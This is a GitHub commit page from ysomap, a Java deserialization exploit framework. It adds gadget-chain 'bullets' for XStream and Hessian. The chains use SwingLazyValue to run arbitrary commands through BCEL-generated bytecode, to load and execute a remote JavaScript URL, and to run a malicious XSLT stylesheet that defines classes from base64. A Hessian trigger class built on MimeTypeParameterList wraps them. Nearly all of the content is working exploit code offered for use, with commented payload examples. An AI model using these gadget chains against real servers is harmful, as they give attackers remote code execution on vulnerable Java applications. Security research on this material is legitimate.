-
Notifications
You must be signed in to change notification settings - Fork 150
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
10 changed files
with
251 additions
and
38 deletions.
There are no files selected for viewing
55 changes: 55 additions & 0 deletions
55
core/src/main/java/ysomap/bullets/jdk/SwingLazyValueWithBCEL.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,55 @@ | ||
package ysomap.bullets.jdk; | ||
|
||
import javassist.ClassPool; | ||
import javassist.CtClass; | ||
import sun.swing.SwingLazyValue; | ||
import ysomap.bullets.AbstractBullet; | ||
import ysomap.bullets.Bullet; | ||
import ysomap.common.annotation.*; | ||
import ysomap.core.util.ClassFiles; | ||
import ysomap.core.util.PayloadHelper; | ||
|
||
import java.util.Random; | ||
|
||
/** | ||
* @author wh1t3P1g | ||
* @since 2021/1/4 | ||
*/ | ||
@Bullets | ||
@Dependencies({"jdk"}) | ||
@Details("文件写入") | ||
@Targets({Targets.XSTREAM, Targets.HESSIAN}) | ||
@Authors({Authors.WH1T3P1G}) | ||
public class SwingLazyValueWithBCEL extends AbstractBullet<SwingLazyValue> { | ||
|
||
@NotNull | ||
@Require(name = "command", detail = "like ls") | ||
public String command; | ||
|
||
@Override | ||
public SwingLazyValue getObject() throws Exception { | ||
String classname = "com.sun.org.apache.bcel.internal.util.JavaWrapper"; | ||
String methodName = "_main"; | ||
String code = PayloadHelper.makeRuntimeExecPayload(command); | ||
byte[] bytes = makePayload(code); | ||
Object[] evilargs = new Object[]{new String[]{PayloadHelper.makeBCELStr(bytes), "ysomap"}}; | ||
return new SwingLazyValue(classname, methodName, evilargs); | ||
} | ||
|
||
public static Bullet newInstance(Object... args) throws Exception { | ||
Bullet bullet = new SwingLazyValueWithBCEL(); | ||
bullet.set("command", args[0]); | ||
return bullet; | ||
} | ||
|
||
public byte[] makePayload(String body) throws Exception { | ||
ClassPool pool = new ClassPool(true); | ||
String classname = "pwn"+new Random().nextLong(); | ||
CtClass cls = ClassFiles.makeEmptyClassFile(pool, classname, null); | ||
String wrappedBody = "public static void _main(String[] argv) throws Exception {\n" + | ||
String.format(" %s\n", body) + | ||
" }"; | ||
ClassFiles.insertMethod(cls, wrappedBody); | ||
return cls.toBytecode(); | ||
} | ||
} |
50 changes: 50 additions & 0 deletions
50
core/src/main/java/ysomap/bullets/jdk/SwingLazyValueWithRemoteJS.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,50 @@ | ||
package ysomap.bullets.jdk; | ||
|
||
import sun.swing.SwingLazyValue; | ||
import ysomap.bullets.AbstractBullet; | ||
import ysomap.bullets.Bullet; | ||
import ysomap.common.annotation.*; | ||
|
||
/** | ||
* @author wh1t3P1g | ||
* @since 2021/1/4 | ||
*/ | ||
@Bullets | ||
@Dependencies({"jdk"}) | ||
@Details("js rce for jdk 17") | ||
@Targets({Targets.XSTREAM, Targets.HESSIAN}) | ||
@Authors({Authors.WH1T3P1G}) | ||
public class SwingLazyValueWithRemoteJS extends AbstractBullet<SwingLazyValue> { | ||
|
||
@NotNull | ||
@Require(name = "url", detail = "remote js url, like http://127.0.0.1/1.js") | ||
public String url; | ||
|
||
@Override | ||
public SwingLazyValue getObject() throws Exception { | ||
String classname = "com.sun.tools.script.shell.Main"; | ||
String methodName = "main"; | ||
Object[] evilargs = new Object[]{new String[]{"-e", String.format("load('%s')", url)}}; | ||
return new SwingLazyValue(classname, methodName, evilargs); | ||
} | ||
|
||
public static Bullet newInstance(Object... args) throws Exception { | ||
Bullet bullet = new SwingLazyValueWithRemoteJS(); | ||
bullet.set("url", args[0]); | ||
return bullet; | ||
} | ||
|
||
/* js file example | ||
new java.lang.ProcessBuilder(["/bin/bash","-c","open -a Calculator.app"]).start(); | ||
*/ | ||
|
||
// TODO javax.swing.plaf.synth.SynthLookAndFeel.load(java.net.URL) xml rce | ||
/* | ||
<new class="java.lang.ProcessBuilder"> | ||
<string>open</string> | ||
<string>-a</string> | ||
<string>Calculator</string> | ||
<object method="start"></object> | ||
</new> | ||
*/ | ||
} |
53 changes: 53 additions & 0 deletions
53
core/src/main/java/ysomap/bullets/jdk/SwingLazyValueWithXSLT.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,53 @@ | ||
package ysomap.bullets.jdk; | ||
|
||
import sun.swing.SwingLazyValue; | ||
import ysomap.bullets.AbstractBullet; | ||
import ysomap.bullets.Bullet; | ||
import ysomap.common.annotation.*; | ||
|
||
/** | ||
* @author wh1t3P1g | ||
* @since 2021/1/4 | ||
*/ | ||
@Bullets | ||
@Dependencies({"jdk"}) | ||
@Details("利用xslt执行任意代码") | ||
@Targets({Targets.XSTREAM, Targets.HESSIAN}) | ||
@Authors({Authors.WH1T3P1G}) | ||
public class SwingLazyValueWithXSLT extends AbstractBullet<SwingLazyValue> { | ||
|
||
@NotNull | ||
@Require(name = "filepath", detail = ".xslt filepath") | ||
public String filepath; | ||
|
||
@Override | ||
public SwingLazyValue getObject() throws Exception { | ||
String classname = "com.sun.org.apache.xalan.internal.xslt.Process"; | ||
String methodName = "_main"; | ||
Object[] evilargs = new Object[]{new String[]{"-XT", "-XSL", "file://" + filepath}}; | ||
// xslt file example https://yzddmr6.com/posts/swinglazyvalue-in-webshell/#%e5%88%a9%e7%94%a8%e4%ba%94%e8%90%bd%e7%9b%98xslt%e5%b9%b6%e5%8a%a0%e8%bd%bd | ||
return new SwingLazyValue(classname, methodName, evilargs); | ||
} | ||
|
||
public static Bullet newInstance(Object... args) throws Exception { | ||
Bullet bullet = new SwingLazyValueWithXSLT(); | ||
bullet.set("command", args[0]); | ||
return bullet; | ||
} | ||
|
||
/* | ||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" | ||
xmlns:b64="http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder" | ||
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object" | ||
xmlns:th="http://xml.apache.org/xalan/java/java.lang.Thread" | ||
xmlns:ru="http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils" | ||
> | ||
<xsl:template match="/"> | ||
<xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'base64')"/> | ||
<xsl:variable name="cl" select="th:getContextClassLoader(th:currentThread())"/> | ||
<xsl:variable name="rce" select="ru:defineClass('classname',$bs,$cl)"/> | ||
<xsl:value-of select="$rce"/> | ||
</xsl:template> | ||
</xsl:stylesheet> | ||
*/ | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
49 changes: 49 additions & 0 deletions
49
core/src/main/java/ysomap/payloads/hessian/LazyValueWithoutToStringTrigger.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,49 @@ | ||
package ysomap.payloads.hessian; | ||
|
||
import ysomap.bullets.Bullet; | ||
import ysomap.bullets.jdk.SwingLazyValueWithRMIBullet; | ||
import ysomap.common.annotation.*; | ||
import ysomap.core.util.ReflectionHelper; | ||
|
||
import javax.activation.MimeTypeParameterList; | ||
import javax.swing.*; | ||
|
||
/** | ||
* @author wh1t3P1g | ||
* @since 2021/11/12 | ||
*/ | ||
@Payloads | ||
@SuppressWarnings({"rawtypes"}) | ||
@Authors({ Authors.WH1T3P1G }) | ||
@Targets({ Targets.HESSIAN }) | ||
@Dependencies({"hessian"}) | ||
@Require(bullets = { | ||
"SwingLazyValueWithJNDIBullet", | ||
"SwingLazyValueWithRMIBullet", | ||
"LazyValueWithFileWrite1Bullet", | ||
"LazyValueWithFileWrite2Bullet", | ||
"SwingLazyValueWithBCEL", | ||
"SwingLazyValueWithXSLT", | ||
"SwingLazyValueWithUrlClassLoaderBullet"}, param = false) | ||
public class LazyValueWithoutToStringTrigger extends HessianPayload { | ||
|
||
@Override | ||
public Bullet getDefaultBullet(Object... args) throws Exception { | ||
return SwingLazyValueWithRMIBullet.newInstance(args); | ||
} | ||
|
||
@Override | ||
public boolean checkObject(Object obj) { | ||
return obj instanceof UIDefaults.LazyValue; | ||
} | ||
|
||
@Override | ||
public Object pack(Object obj) throws Exception { | ||
UIDefaults uiDefaults = new UIDefaults(); | ||
uiDefaults.put("ysomap", obj); | ||
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList(); | ||
ReflectionHelper.setFieldValue(mimeTypeParameterList, "parameters", uiDefaults); | ||
return mimeTypeParameterList; | ||
} | ||
|
||
} |